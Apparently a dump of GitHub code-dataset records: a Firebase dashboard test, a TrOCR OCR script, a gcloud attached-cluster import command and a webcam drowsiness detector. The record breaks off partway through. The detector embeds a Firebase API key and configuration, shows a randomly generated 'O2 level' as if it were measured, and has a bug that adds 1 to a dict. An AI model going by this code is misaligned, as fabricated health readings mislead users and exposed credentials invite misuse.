\"popularPages\" : {\n \"leastPopular\" : {\n \"five\" : \"http://www.ntnu.no/studier/emnesok\",\n \"four\" : \"http://www.ntnu.no/kart\",\n \"one\" : \"http://www.ntnu.no/studier/mtkom/veiledning\",\n \"three\" : \"https://www.ntnu.no/parkering/gloshaugen\",\n \"two\" : \"https://www.ntnu.no/studentliv/trondheim\"\n },\n \"mostPopular\" : {\n \"five\" : \"http://www.ntnu.no/studier/emnesok\",\n \"four\" : \"http://www.ntnu.no/kart\",\n \"one\" : \"http://www.ntnu.no/studier/mtkom/veiledning\",\n \"three\" : \"https://www.ntnu.no/parkering/gloshaugen\",\n \"two\" : \"https://www.ntnu.no/studentliv/trondheim\"\n }\n },\n \"visitorCount\" : {\n \"current\" : \"2578\",\n \"lastMonth\" : {\n \"change\" : \"down\",\n \"percent\" : \"3.3\"\n },\n \"lastWeek\" : {\n \"change\" : \"up\",\n \"percent\" : \"5.6\"\n },\n \"lastYear\" : {\n \"change\" : \"up\",\n \"percent\" : \"13.9\"\n }\n }\n }\n\n\nsnapshot = f.patch('visitors', test)", "repo_name": "thomand/dashboard", "sub_path": "public/python/testing.py", "file_name": "testing.py", "file_ext": "py", "file_size_in_byte": 4025, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "firebase.firebase.FirebaseApplication", "line_number": 3, "usage_type": "call"}, {"api_name": "firebase.firebase", "line_number": 3, "usage_type": "name"}]} +{"seq_id": "15750673218", "text": "from transformers import TrOCRProcessor, VisionEncoderDecoderModel\nfrom PIL import Image\n\nimport torch \nimport cv2 \nprocessor = TrOCRProcessor.from_pretrained(\"microsoft/trocr-large-handwritten\") \nmodel = VisionEncoderDecoderModel.from_pretrained(\"TrOCR\")\n\ndef show_image(pathStr):\n img = Image.open(pathStr).convert(\"RGB\")\n return img\n\ndef ocr_image(src_img):\n pixel_values = processor(images=src_img, return_tensors=\"pt\").pixel_values\n generated_ids = model.generate(pixel_values)\n return processor.batch_decode(generated_ids, skip_special_tokens=True)[0]\n\ndef ocr_image(src_img):\n pixel_values = processor(images=src_img, return_tensors=\"pt\").pixel_values\n generated_ids = model.generate(pixel_values)\n return processor.batch_decode(generated_ids, skip_special_tokens=True)[0]\n\ndef prediction():\n img = cv2.imread('./Image/img_mask.JPG',0) \n cv2.threshold(img,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU,img)\n ori_img=cv2.imread('./Image/image.jpg')\n ori_img=cv2.resize(ori_img,(512,512))\n contours, hier = cv2.findContours(img, cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_NONE)\n coordinates = []\n for c in contours:\n # get the bounding rect\n # print(c)\n if cv2.contourArea(c) < 100:\n continue\n x, y, w, h = cv2.boundingRect(c)\n cv2.rectangle(ori_img, (x, y), (x+w,y+h), 255, 1)\n coordinates.append([x,y,(x+w),(y+h)])\n\n length_of_lines = len(coordinates)\n i_cop = ori_img.copy()\n image = []\n for i in range(length_of_lines):\n \n cropped_image = i_cop[coordinates[i][1]:coordinates[i][3],coordinates[i][0]:coordinates[i][2]]\n image.append(cropped_image)\n\n text = []\n for i in range(length_of_lines):\n cv2.imwrite('crop_img.png',image[i])\n hw_image = show_image('crop_img.png')\n each_line = ocr_image(hw_image)\n text.append(each_line)\n return text\n", "repo_name": "KarkiRoshan/Document-Scanner", "sub_path": "app/prediction.py", "file_name": "prediction.py", "file_ext": "py", "file_size_in_byte": 1883, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "transformers.TrOCRProcessor.from_pretrained", "line_number": 6, "usage_type": "call"}, {"api_name": "transformers.TrOCRProcessor", "line_number": 6, "usage_type": "name"}, {"api_name": "transformers.VisionEncoderDecoderModel.from_pretrained", "line_number": 7, "usage_type": "call"}, {"api_name": "transformers.VisionEncoderDecoderModel", "line_number": 7, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 10, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 10, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 27, "usage_type": "call"}, {"api_name": "cv2.findContours", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.RETR_EXTERNAL", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_NONE", "line_number": 28, "usage_type": "attribute"}, {"api_name": "cv2.contourArea", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 35, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 49, "usage_type": "call"}]} +{"seq_id": "20193334494", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.api_lib.container.gkemulticloud import attached as api_util\nfrom googlecloudsdk.api_lib.container.gkemulticloud import locations as loc_util\nfrom googlecloudsdk.calliope import base\nfrom googlecloudsdk.command_lib.container.attached import flags as attached_flags\nfrom googlecloudsdk.command_lib.container.attached import resource_args\nfrom googlecloudsdk.command_lib.container.fleet import kube_util\nfrom googlecloudsdk.command_lib.container.gkemulticloud import command_util\nfrom googlecloudsdk.command_lib.container.gkemulticloud import constants\nfrom googlecloudsdk.command_lib.container.gkemulticloud import endpoint_util\nfrom googlecloudsdk.command_lib.container.gkemulticloud import flags\nfrom googlecloudsdk.command_lib.run import pretty_print\nfrom googlecloudsdk.core.console import console_io\nimport six\n\n_EXAMPLES = \"\"\"\nTo import the fleet membership of an attached cluster in fleet ``FLEET_MEMBERSHIP'' managed in location ``us-west1'', run:\n\n$ {command} --location=us-west1 --platform-version=PLATFORM_VERSION --fleet-membership=FLEET_MEMBERSHIP --distribution=DISTRIBUTION --context=CLUSTER_CONTEXT --kubeconfig=KUBECONFIG_PATH\n\"\"\"\n\n\n@base.ReleaseTracks(base.ReleaseTrack.ALPHA, base.ReleaseTrack.GA)\nclass Import(base.Command):\n \"\"\"Import fleet membership for an Attached cluster.\"\"\"\n\n detailed_help = {'EXAMPLES': _EXAMPLES}\n\n @staticmethod\n def Args(parser):\n \"\"\"Registers flags for this command.\"\"\"\n resource_args.AddLocationResourceArg(parser, 'to import attached cluster.')\n resource_args.AddFleetMembershipResourceArg(parser)\n\n attached_flags.AddPlatformVersion(parser)\n attached_flags.AddDistribution(parser, required=True)\n attached_flags.AddKubectl(parser)\n\n flags.AddValidateOnly(parser, 'cluster to import')\n\n base.ASYNC_FLAG.AddToParser(parser)\n\n def Run(self, args):\n \"\"\"Runs the import command.\"\"\"\n location_ref = args.CONCEPTS.location.Parse()\n fleet_membership_ref = args.CONCEPTS.fleet_membership.Parse()\n\n with endpoint_util.GkemulticloudEndpointOverride(location_ref.locationsId):\n manifest = self._get_manifest(\n args, location_ref, fleet_membership_ref.membershipsId\n )\n\n import_resp = ''\n with kube_util.KubernetesClient(\n kubeconfig=attached_flags.GetKubeconfig(args),\n context=attached_flags.GetContext(args),\n enable_workload_identity=True,\n ) as kube_client:\n kube_client.CheckClusterAdminPermissions()\n\n try:\n if not flags.GetValidateOnly(args):\n pretty_print.Info('Creating in-cluster install agent')\n kube_client.Apply(manifest)\n\n import_resp = self._import_attached_cluster(\n args, location_ref, fleet_membership_ref\n )\n except console_io.OperationCancelledError:\n msg = \"\"\"To manually clean up the in-cluster install agent, run:\n\n$ gcloud {} container attached clusters generate-install-manifest --location={} --platform-version={} --format=\"value(manifest)\" {} | kubectl delete -f -\n\nAFTER the attach operation completes.\n\"\"\".format(\n six.text_type(self.ReleaseTrack()).lower(),\n location_ref.locationsId,\n attached_flags.GetPlatformVersion(args),\n fleet_membership_ref.membershipsId,\n )\n pretty_print.Info(msg)\n raise\n except: # pylint: disable=broad-except\n self._remove_manifest(args, kube_client, manifest)\n raise\n\n self._remove_manifest(args, kube_client, manifest)\n\n return import_resp\n\n def _get_manifest(self, args, location_ref, memberships_id):\n location_client = loc_util.LocationsClient()\n resp = location_client.GenerateInstallManifestForImport(\n location_ref, memberships_id, args=args\n )\n return resp.manifest\n\n def _remove_manifest(self, args, kube_client, manifest):\n if not flags.GetValidateOnly(args):\n pretty_print.Info('Deleting in-cluster install agent')\n kube_client.Delete(manifest)\n\n def _import_attached_cluster(self, args, location_ref, fleet_membership_ref):\n cluster_client = api_util.ClustersClient()\n message = command_util.ClusterMessage(\n fleet_membership_ref.RelativeName(),\n action='Importing',\n kind=constants.ATTACHED,\n )\n return command_util.Import(\n location_ref=location_ref,\n resource_client=cluster_client,\n fleet_membership_ref=fleet_membership_ref,\n args=args,\n message=message,\n kind=constants.ATTACHED_CLUSTER_KIND,\n )\n", "repo_name": "google-cloud-sdk-unofficial/google-cloud-sdk", "sub_path": "lib/surface/container/attached/clusters/import.py", "file_name": "import.py", "file_ext": "py", "file_size_in_byte": 4670, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "85", "api": [{"api_name": "googlecloudsdk.calliope.base.Command", "line_number": 27, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.calliope.base", "line_number": 27, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.attached.resource_args.AddLocationResourceArg", "line_number": 35, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.attached.resource_args", "line_number": 35, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.attached.resource_args.AddFleetMembershipResourceArg", "line_number": 36, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.attached.resource_args", "line_number": 36, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags.AddPlatformVersion", "line_number": 38, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags", "line_number": 38, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags.AddDistribution", "line_number": 39, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags", "line_number": 39, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags.AddKubectl", "line_number": 40, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags", "line_number": 40, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.flags.AddValidateOnly", "line_number": 42, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.flags", "line_number": 42, "usage_type": "name"}, {"api_name": "googlecloudsdk.calliope.base.ASYNC_FLAG.AddToParser", "line_number": 44, "usage_type": "call"}, {"api_name": "googlecloudsdk.calliope.base.ASYNC_FLAG", "line_number": 44, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.calliope.base", "line_number": 44, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.endpoint_util.GkemulticloudEndpointOverride", "line_number": 51, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.endpoint_util", "line_number": 51, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.fleet.kube_util.KubernetesClient", "line_number": 57, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.fleet.kube_util", "line_number": 57, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags.GetKubeconfig", "line_number": 58, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags", "line_number": 58, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags.GetContext", "line_number": 59, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags", "line_number": 59, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.flags.GetValidateOnly", "line_number": 65, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.flags", "line_number": 65, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.run.pretty_print.Info", "line_number": 66, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.run.pretty_print", "line_number": 66, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.console.console_io.OperationCancelledError", "line_number": 72, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.console.console_io", "line_number": 72, "usage_type": "name"}, {"api_name": "six.text_type", "line_number": 79, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags.GetPlatformVersion", "line_number": 81, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.attached.flags", "line_number": 81, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.run.pretty_print.Info", "line_number": 84, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.run.pretty_print", "line_number": 84, "usage_type": "name"}, {"api_name": "googlecloudsdk.api_lib.container.gkemulticloud.locations.LocationsClient", "line_number": 95, "usage_type": "call"}, {"api_name": "googlecloudsdk.api_lib.container.gkemulticloud.locations", "line_number": 95, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.flags.GetValidateOnly", "line_number": 102, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.flags", "line_number": 102, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.run.pretty_print.Info", "line_number": 103, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.run.pretty_print", "line_number": 103, "usage_type": "name"}, {"api_name": "googlecloudsdk.api_lib.container.gkemulticloud.attached.ClustersClient", "line_number": 107, "usage_type": "call"}, {"api_name": "googlecloudsdk.api_lib.container.gkemulticloud.attached", "line_number": 107, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.command_util.ClusterMessage", "line_number": 108, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.command_util", "line_number": 108, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.constants.ATTACHED", "line_number": 111, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.constants", "line_number": 111, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.command_util.Import", "line_number": 113, "usage_type": "call"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.command_util", "line_number": 113, "usage_type": "name"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.constants.ATTACHED_CLUSTER_KIND", "line_number": 119, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.command_lib.container.gkemulticloud.constants", "line_number": 119, "usage_type": "name"}, {"api_name": "googlecloudsdk.calliope.base.ReleaseTracks", "line_number": 26, "usage_type": "call"}, {"api_name": "googlecloudsdk.calliope.base", "line_number": 26, "usage_type": "name"}, {"api_name": "googlecloudsdk.calliope.base.ReleaseTrack", "line_number": 26, "usage_type": "attribute"}]} +{"seq_id": "42518298239", "text": "from scipy.spatial import distance\r\nfrom imutils import face_utils\r\nimport imutils\r\nimport dlib\r\nimport cv2\r\nimport pyttsx3\r\nimport numpy as np\r\nfrom random import randint\r\nimport time\r\nimport firebase_admin\r\nfrom firebase_admin import db,auth\r\nfrom PyQt5.QtWidgets import QInputDialog, QLineEdit, QApplication\r\nfrom PyQt5.QtCore import QCoreApplication\r\nimport pyrebase\r\n\r\n\r\n#password prompt dialog box \r\ndef prompt_password(user):\r\n\r\n app = QCoreApplication.instance()\r\n if app is None:\r\n app = QApplication([])\r\n\r\n text, ok = QInputDialog.getText(\r\n None,\r\n \"Credential\",\r\n \"user {}:\".format(user),\r\n QLineEdit.Password)\r\n if ok and text:\r\n return text\r\n raise ValueError(\"Must specify a valid password\")\r\n\r\n# fetching existing user \r\ndef existing_user():\r\n email=input(\"Email Id:\")\r\n password=prompt_password(email)\r\n auth=firebase.auth()\r\n signin=auth.sign_in_with_email_and_password(email,password)\r\n user_uid=signin['idToken']\r\n user_detail=auth.get_account_info(user_uid)\r\n userid=user_detail['users']\r\n local_id=userid[0]['localId']\r\n user_uid=local_id\r\n #updating new values in database\r\n\r\n \r\n return local_id #return uid of the signed user\r\n\r\n#adding new user \r\ndef create_user():\r\n email=input(\"Email Id:\")\r\n password=prompt_password(email)\r\n user=auth.create_user(email=email,password=password)\r\n print(\"User Added successfully \")\r\n user_id=user.uid\r\n # Initializing dummy variables\r\n yawn={}\r\n blink={}\r\n drowsiness={}\r\n val=1\r\n yawn[\"a\"]=val\r\n blink[\"a\"]=val\r\n drowsiness[\"a\"]=val\r\n current_total_yawns=0 #maximum yawn in single program run\r\n current_total_blinks=0 #maximum yawn in single program run\r\n current_total_drowsiness=0 #maximum yawn in single program run(a.k.a \"Single Critical Alert\")\r\n trips=0\r\n n = input(\"Enter your name\")\r\n #Storing root structure in the database\r\n data={\"yawns\":yawn,\r\n \"blinks\":blink,\r\n \"drowsiness\":drowsiness,\r\n \"total_yawns\":current_total_yawns,\r\n \"totaldrowsiness\":current_total_drowsiness,\r\n \"total_blink\":current_total_blinks,\r\n \"trips\":trips,\r\n \"name\": n}\r\n ref = db.reference(\"/\").child(user_id)\r\n red=ref.set(data)\r\n return user_id #return uid of the signed user\r\n\r\ndef eye_aspect_ratio(eye):\r\n A = distance.euclidean(eye[1], eye[5])\r\n B = distance.euclidean(eye[2], eye[4])\r\n C = distance.euclidean(eye[0], eye[3])\r\n ear = (A + B) / (2.0 * C)\r\n return ear\r\n\r\ndef get_landmarks(im):\r\n rects = detector(im, 1)\r\n if len(rects) > 1:\r\n return \"error\"\r\n if len(rects) == 0:\r\n return \"error\"\r\n return np.matrix([[p.x, p.y] for p in predictor(im, rects[0]).parts()])\r\n\r\n\r\ndef annotate_landmarks(im, landmarks):\r\n im = im.copy()\r\n for idx, point in enumerate(landmarks):\r\n pos = (point[0, 0], point[0, 1])\r\n cv2.putText(im, str(idx), pos,\r\n fontFace=cv2.FONT_HERSHEY_SCRIPT_SIMPLEX,\r\n fontScale=0.4,\r\n color=(0, 0, 255))\r\n cv2.circle(im, pos, 3, color=(0, 255, 255))\r\n return im\r\n\r\ndef top_lip(landmarks):\r\n top_lip_pts = []\r\n for i in range(50,53):\r\n top_lip_pts.append(landmarks[i])\r\n for i in range(61,64):\r\n top_lip_pts.append(landmarks[i])\r\n top_lip_all_pts = np.squeeze(np.asarray(top_lip_pts))\r\n top_lip_mean = np.mean(top_lip_pts, axis=0)\r\n return int(top_lip_mean[:,1])\r\n\r\ndef bottom_lip(landmarks):\r\n bottom_lip_pts = []\r\n for i in range(65,68):\r\n bottom_lip_pts.append(landmarks[i])\r\n for i in range(56,59):\r\n bottom_lip_pts.append(landmarks[i])\r\n bottom_lip_all_pts = np.squeeze(np.asarray(bottom_lip_pts))\r\n bottom_lip_mean = np.mean(bottom_lip_pts, axis=0)\r\n return int(bottom_lip_mean[:,1])\r\n\r\ndef mouth_open(image):\r\n landmarks = get_landmarks(image)\r\n \r\n if landmarks == \"error\":\r\n return image, 0\r\n \r\n image_with_landmarks = annotate_landmarks(image, landmarks)\r\n top_lip_center = top_lip(landmarks)\r\n bottom_lip_center = bottom_lip(landmarks)\r\n lip_distance = abs(top_lip_center - bottom_lip_center)\r\n return image_with_landmarks, lip_distance\r\n\r\nif __name__==\"__main__\":\r\n config= {\r\n \r\n \"apiKey\": \"AIzaSyC_9MN-e2kLYGoXEa-ujZhMJ5KEDhxrxv0\",\r\n \"authDomain\": \"drowsi-6f166.firebaseapp.com\",\r\n \"databaseURL\": \"https://drowsi-6f166-default-rtdb.firebaseio.com\",\r\n \"projectId\": \"drowsi-6f166\",\r\n \"storageBucket\": \"drowsi-6f166.appspot.com\",\r\n \"messagingSenderId\": \"198177358258\",\r\n \"appId\": \"1:198177358258:web:220473766070b40a1224ab\",\r\n \"measurementId\": \"G-FD48W8GKN9\"\r\n }\r\n \r\n if not firebase_admin._apps:\r\n cred_obj = firebase_admin.credentials.Certificate('serviceAccountKey.json')\r\n default_app = firebase_admin.initialize_app(cred_obj, {\r\n\t'databaseURL': 'https://drowsi-6f166-default-rtdb.firebaseio.com/'})\r\n firebase=pyrebase.initialize_app(config)\r\n \r\n user_type=int(input(\"\\n1.New User \\n2.Existing User\\n\"))\r\n if user_type==1:\r\n user_id=create_user()\r\n else:\r\n user_id=existing_user()\r\n \r\n \r\n #Fetching existing Data from the firebase\r\n existing_data=db.reference(\"/\").child(user_id).get()\r\n # print(existing_data)\r\n # fetching and storing child node values\r\n existing_blinks={}\r\n existing_blinks=existing_data['blinks']\r\n existing_yawns=existing_data['yawns']\r\n existing_drowsiness=existing_data['drowsiness']\r\n total_blink=existing_data['total_blink']\r\n total_yawns=existing_data['total_yawns']\r\n total_drowsiness=existing_data['totaldrowsiness']\r\n trips=existing_data['trips']\r\n \r\n drowsiness_counter=0\r\n engine = pyttsx3.init()\r\n engine.say(\"Alert System Activated\")\r\n engine.runAndWait() \r\n thresh = 0.25\r\n frame_check = 20\r\n detect = dlib.get_frontal_face_detector()\r\n predict = dlib.shape_predictor(\".\\shape_predictor_68_face_landmarks.dat\")# Dat file is the crux of the code\r\n PREDICTOR_PATH = \"shape_predictor_68_face_landmarks.dat\"\r\n predictor = dlib.shape_predictor(PREDICTOR_PATH)\r\n detector = dlib.get_frontal_face_detector()\r\n (lStart, lEnd) = face_utils.FACIAL_LANDMARKS_68_IDXS[\"left_eye\"]\r\n (rStart, rEnd) = face_utils.FACIAL_LANDMARKS_68_IDXS[\"right_eye\"]\r\n cap=cv2.VideoCapture(0)\r\n flag=0\r\n yawns = 0\r\n yawn_status = False \r\n blink=0\r\n \r\n while True:\r\n ret, frame=cap.read()\r\n frame = imutils.resize(frame, width=450)\r\n \r\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n subjects = detect(gray, 0)\r\n \r\n image_landmarks, lip_distance = mouth_open(frame) \r\n prev_yawn_status = yawn_status \r\n if lip_distance > 15:\r\n yawn_status = True \r\n cv2.putText(frame, \"Subject is Yawning\", (50,450), \r\n cv2.FONT_HERSHEY_COMPLEX, 1,(0,0,255),2)\r\n \r\n \r\n output_text = \" Yawn Count: \" + str(yawns + 1)\r\n \r\n cv2.putText(frame, output_text, (50,50),\r\n cv2.FONT_HERSHEY_COMPLEX, 1,(0,255,127),2)\r\n \r\n else:\r\n yawn_status = False \r\n \r\n if prev_yawn_status == True and yawn_status == False:\r\n yawns += 1\r\n time_stamp=int(time.time())\r\n existing_yawns[time_stamp]=yawns\r\n \r\n \r\n for subject in subjects:\r\n shape = predict(gray, subject)\r\n shape = face_utils.shape_to_np(shape)#converting to NumPy Array\r\n leftEye = shape[lStart:lEnd]\r\n rightEye = shape[rStart:rEnd]\r\n leftEAR = eye_aspect_ratio(leftEye)\r\n rightEAR = eye_aspect_ratio(rightEye)\r\n ear = (leftEAR + rightEAR) / 2.0\r\n leftEyeHull = cv2.convexHull(leftEye)\r\n rightEyeHull = cv2.convexHull(rightEye)\r\n cv2.drawContours(frame, [leftEyeHull], -1, (0, 255, 0), 1)\r\n cv2.drawContours(frame, [rightEyeHull], -1, (0, 255, 0), 1)\r\n if ear < thresh:\r\n flag += 1\r\n if flag >= frame_check:\r\n cv2.putText(frame, \"****************ALERT!****************\", (10, 30),\r\n cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)\r\n cv2.putText(frame, \"****************ALERT!****************\", (10,325),\r\n cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)\r\n engine.say(\"Crictical Alert: Stop The Car\")\r\n blink=blink+1\r\n time_stamp=int(time.time())\r\n existing_blinks[time_stamp]=blink\r\n engine.runAndWait() \r\n \r\n else:\r\n flag = 0\r\n if yawn_status == True and flag == 1:\r\n oxygen=randint(88,95)\r\n cv2.putText(frame, \"O2 level: {} %\".format(oxygen), (40, 30),\r\n cv2.FONT_HERSHEY_SIMPLEX, 0.3, (0, 0, 255), 1)\r\n else:\r\n oxygen=randint(95,101)\r\n cv2.putText(frame, \"O2 level: {} %\".format(oxygen), (40, 30),\r\n cv2.FONT_HERSHEY_SIMPLEX, 0.3, (0, 0, 255), 1)\r\n cv2.imshow(\"Frame\", frame)\r\n key = cv2.waitKey(1) & 0xFF\r\n if blink>1 and yawns>1:\r\n drowsiness_counter=5\r\n engine.say(\"Extreme Alert: Hazard Mode Activated !\")\r\n engine.runAndWait() \r\n engine.say(\"CAR Engine OFF\")\r\n engine.runAndWait() \r\n cap.release()\r\n cv2.destroyAllWindows()\r\n #Updating in firebase \r\n time_stamp=int(time.time())\r\n existing_drowsiness[time_stamp]=existing_drowsiness+1\r\n total_yawns=total_yawns+yawns\r\n total_blink=total_blink+blink\r\n trips=trips+1\r\n total_drowsiness=total_drowsiness+1\r\n data={\"yawns\":existing_yawns,\r\n \"blinks\":existing_blinks,\r\n \"drowsiness\":existing_drowsiness,\r\n \"total_yawns\":total_yawns,\r\n \"totaldrowsiness\":total_drowsiness,\r\n \"total_blink\":total_blink,\r\n \"trips\":trips}\r\n update_data = db.reference(\"/\").child(user_id)\r\n red=update_data.update(data) \r\n break\r\n cv2.imshow(\"Frame\", frame)\r\n key = cv2.waitKey(1) & 0xFF\r\n if key == ord(\"q\"):\r\n cap.release()\r\n cv2.destroyAllWindows()\r\n \r\n break\r\n cap.release()\r\n cv2.destroyAllWindows()", "repo_name": "vishaalsaravanan/IOT_Driver_Drowsiness", "sub_path": "Drowsiness_detection_analytics/Drowsiness.py", "file_name": "Drowsiness.py", "file_ext": "py", "file_size_in_byte": 10654, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "PyQt5.QtCore.QCoreApplication.instance", "line_number": 20, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 20, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 22, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QInputDialog.getText", "line_number": 24, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QInputDialog", "line_number": 24, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLineEdit.Password", "line_number": 28, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 28, "usage_type": "name"}, {"api_name": "firebase_admin.auth", "line_number": 37, "usage_type": "name"}, {"api_name": "firebase_admin.auth.sign_in_with_email_and_password", "line_number": 38, "usage_type": "call"}, {"api_name": "firebase_admin.auth", "line_number": 38, "usage_type": "name"}, {"api_name": "firebase_admin.auth.get_account_info", "line_number": 40, "usage_type": "call"}, {"api_name": "firebase_admin.auth", "line_number": 40, "usage_type": "name"}, {"api_name": "firebase_admin.auth.create_user", "line_number": 53, "usage_type": "call"}, {"api_name": "firebase_admin.auth", "line_number": 53, "usage_type": "name"}, {"api_name": "firebase_admin.db.reference", "line_number": 78, "usage_type": "call"}, {"api_name": "firebase_admin.db", "line_number": 78, "usage_type": "name"}, {"api_name": "scipy.spatial.distance.euclidean", "line_number": 83, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 83, "usage_type": "name"}, {"api_name": "scipy.spatial.distance.euclidean", "line_number": 84, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 84, "usage_type": "name"}, {"api_name": "scipy.spatial.distance.euclidean", "line_number": 85, "usage_type": "call"}, {"api_name": "scipy.spatial.distance", "line_number": 85, "usage_type": "name"}, {"api_name": "numpy.matrix", "line_number": 95, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 102, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SCRIPT_SIMPLEX", "line_number": 103, "usage_type": "attribute"}, {"api_name": "cv2.circle", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 126, "usage_type": "call"}, {"api_name": "firebase_admin._apps", "line_number": 154, "usage_type": "attribute"}, {"api_name": "firebase_admin.credentials.Certificate", "line_number": 155, "usage_type": "call"}, {"api_name": "firebase_admin.credentials", "line_number": 155, "usage_type": "attribute"}, {"api_name": "firebase_admin.initialize_app", "line_number": 156, "usage_type": "call"}, {"api_name": "pyrebase.initialize_app", "line_number": 158, "usage_type": "call"}, {"api_name": "firebase_admin.db.reference", "line_number": 168, "usage_type": "call"}, {"api_name": "firebase_admin.db", "line_number": 168, "usage_type": "name"}, {"api_name": "pyttsx3.init", "line_number": 181, "usage_type": "call"}, {"api_name": "dlib.get_frontal_face_detector", "line_number": 186, "usage_type": "call"}, {"api_name": "dlib.shape_predictor", "line_number": 187, "usage_type": "call"}, {"api_name": "dlib.shape_predictor", "line_number": 189, "usage_type": "call"}, {"api_name": "dlib.get_frontal_face_detector", "line_number": 190, "usage_type": "call"}, {"api_name": "imutils.face_utils.FACIAL_LANDMARKS_68_IDXS", "line_number": 191, "usage_type": "attribute"}, {"api_name": "imutils.face_utils", "line_number": 191, "usage_type": "name"}, {"api_name": "imutils.face_utils.FACIAL_LANDMARKS_68_IDXS", "line_number": 192, "usage_type": "attribute"}, {"api_name": "imutils.face_utils", "line_number": 192, "usage_type": "name"}, {"api_name": "cv2.VideoCapture", "line_number": 193, "usage_type": 